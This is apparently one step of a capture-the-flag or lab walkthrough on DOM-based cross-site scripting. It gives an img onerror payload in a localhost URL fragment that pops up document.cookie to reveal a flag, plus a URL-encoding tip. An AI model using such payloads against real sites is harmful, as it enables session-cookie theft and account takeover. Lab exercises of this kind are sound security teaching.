Use an img tag with onerror since it fires even when no server request is needed.
Command / Input
http://localhost:$PORT/#<img src=x onerror=alert(document.cookie)>
Output
Alert popup showing the session cookie with the flag.
⚑ URL-encode the payload if the browser strips characters: use encodeURIComponent in the console.